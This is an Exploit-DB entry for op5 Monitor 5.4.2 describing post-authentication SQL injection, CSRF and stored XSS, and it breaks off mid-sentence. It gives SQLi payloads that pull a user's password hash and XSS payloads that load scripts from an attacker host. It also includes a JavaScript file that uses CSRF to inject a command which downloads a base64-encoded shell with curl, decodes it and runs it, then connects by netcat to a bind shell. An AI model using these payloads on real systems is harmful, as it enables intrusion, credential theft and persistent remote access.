Exploit-DB #20760
Description: op5 Monitoring 5.4.2 - VM Applicance Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-08-23
Author: loneferret

Exploit:
# Author: loneferret of Offensive Security
# Product: op5 Monitoring (VM appliance)
# Version: 5.4.2
# Vendor Site: http://www.op5.com/
# Software Download: http://www.op5.com/get-op5-monitor/get-started/

# Software Description:
# op5 is a market leading developer of Open Source Management solutions. 
# op5 develops and delivers enterprise-class software for monitoring and administration 
# of the whole IT, from hardware and software all the way to virtual or cloud based services. 
# The solutions comes in a fully supported package called op5 Monitor. The architecture 
# supports scalability from the small and business critical IT to the very large IT with 
# tens of thousands of actively controlled services.

# Vulnerabilities:
# SQL Injection
# Cross Site Request Forgery
# Stored XSS


# Description path to Shell:
# Several vulnerabilities are present in this software. All of which need different 
# levels of authentication. SQLi, CSRF and Stored XSS are present and can be 
# triggered giving variant degrees of results. From interesting to just plain annoying.
#
# But most interesting is the admin's (or the default monitor user) ability to run
# shell commands from the web-interface. Although these commands are limited, it is
# still possible to get a shell providing some conditions are met.
#
# As all of the vulnerabilities are post-authentication, it assumes the attacker is
# a user with access to the web application. In this case, a low-privilege user is enough to 
# get the ball rolling in getting a shell. With enough access our "disgruntled employee"
# can leverage the XSS & CSRF vulnerabilities and trick the higher privileged users to 
# setup a Bind-Shell.

# SQLi PoC 1:
# Minimum Access Rights needed: authorized_for_all_hosts
# Page: /index.php/status/hostgroup_grid?items_per_page=
# Original SQL statement called: select * from hostgroup limit 0 union 10 offset 0
# Injection point: select * from hostgroup limit 0 union <HERE> offset 0
# Payload: 0' union select 1,2,3,4,5,6,7--
# Get password hash for user with '1' (usually monitor)
# hostgroup_grid?items_per_page=0 union select 1,2,(select password from users where id=1),4,5,6,7--


# mysql> describe users;
# +---------------+------------------+------+-----+----------+----------------+
# | Field         | Type             | Null | Key | Default  | Extra          |
# +---------------+------------------+------+-----+----------+----------------+
# | id            | int(11) unsigned | NO   | PRI | NULL     | auto_increment | 
# | realname      | varchar(100)     | NO   |     | NULL     |                | 
# | email         | varchar(127)     | NO   |     | NULL     |                | 
# | username      | varchar(100)     | NO   | UNI |          |                | 
# | password_algo | varchar(20)      | NO   |     | b64_sha1 |                | 
# | password      | varchar(50)      | NO   |     | NULL     |                | 
# | logins        | int(10) unsigned | NO   |     | 0        |                | 
# | last_login    | int(10) unsigned | YES  |     | NULL     |                | 
# +---------------+------------------+------+-----+----------+----------------+

# SQLi PoC 2:
# Page: all?items_per_page=
# https://victim/monitor/index.php/status/service/all?items_per_page=25,0--

# Stored XSS PoC:
# Minimum Access Rights needed:	authorized_for_all_hosts
#								authorized_for_all_host_commands
# Page: /index.php/command/submit?host=[SYSTEM-NAME]&service=&cmd_typ=ADD_HOST_COMMENT
# In the Comment input field
# Payload: 	<script>alert(document.cookie);</script>
#			<iframe src="http://something.html></iframe>
#			<script src="http://attacker/xss.js></script>


#
# Setup for shell
# With some explanations...

# Step 1: XSS
# Payload in Host Comment: <script src="http://attacker/op5-shell.js"></script>	

# Step 2: Create JavaScript file to download shell file.
# op5-shell.js File
#

function triggerShell(){
		var url = "https://victim/monitor/op5/nacoma/command_test.php?cmd_str=ifconfig;";
		url += "curl http://attcker/b64shell.txt > /tmp/b64Bind.txt;"
		url += "base64 -d /tmp/b64Bind.txt > /tmp/hell.txt;php /tmp/hell.txt";
        var request = new XMLHttpRequest();
        request.open('GET', url, false);
        request.send(null);
}

function setupConf(){
		// The admin needs to visit this page at least once, in order to get the CSRF to work and 
		// call the 'command_test.php?cmd_str' and issue commands. Once the page has been
		// successfully called, we request our malicious link.
		
        var request = new XMLHttpRequest();
        request.open('GET', 'https://victim/monitor/index.php/configuration/configure', false);
        request.send(null);
        if (request.status === 200) {
                triggerShell();
        }
}

setupConf();

#
# End of file

# Step 3:
# netcat into victim on port 4444

# Well that's pretty much it. Once the administrator looks at the comment page associated with
# the machine the XSS is triggered and things happen. The fun part is, even if the comment
# is deleted, it's saved in the logs. So when that is visited the the Bind-Shell is
# triggered once again. It's actually a pain to get rid of once it's there.
#
# Shell commands from the Web-Interface:
# These are very limited in regards of rights and privileges. The commands aren't run
# directly from  a command shell but rather using a small complied script call "asmonitor".
# All the commands, from a shell's standpoint, are run with the "monitor" user.

# bash-3.2$ /usr/bin/asmonitor 
# usage: asmonitor arg1 arg2 arg3 argn...

# Chaining multiple commands is not permitted and only the first command will succeed 
# with the second one failing. Also commands requiring multiple parameters, such
# as 'wget' will also fail. As "asmonitor" mistakes options as commands due to the spaces
# between them.
# One way to circ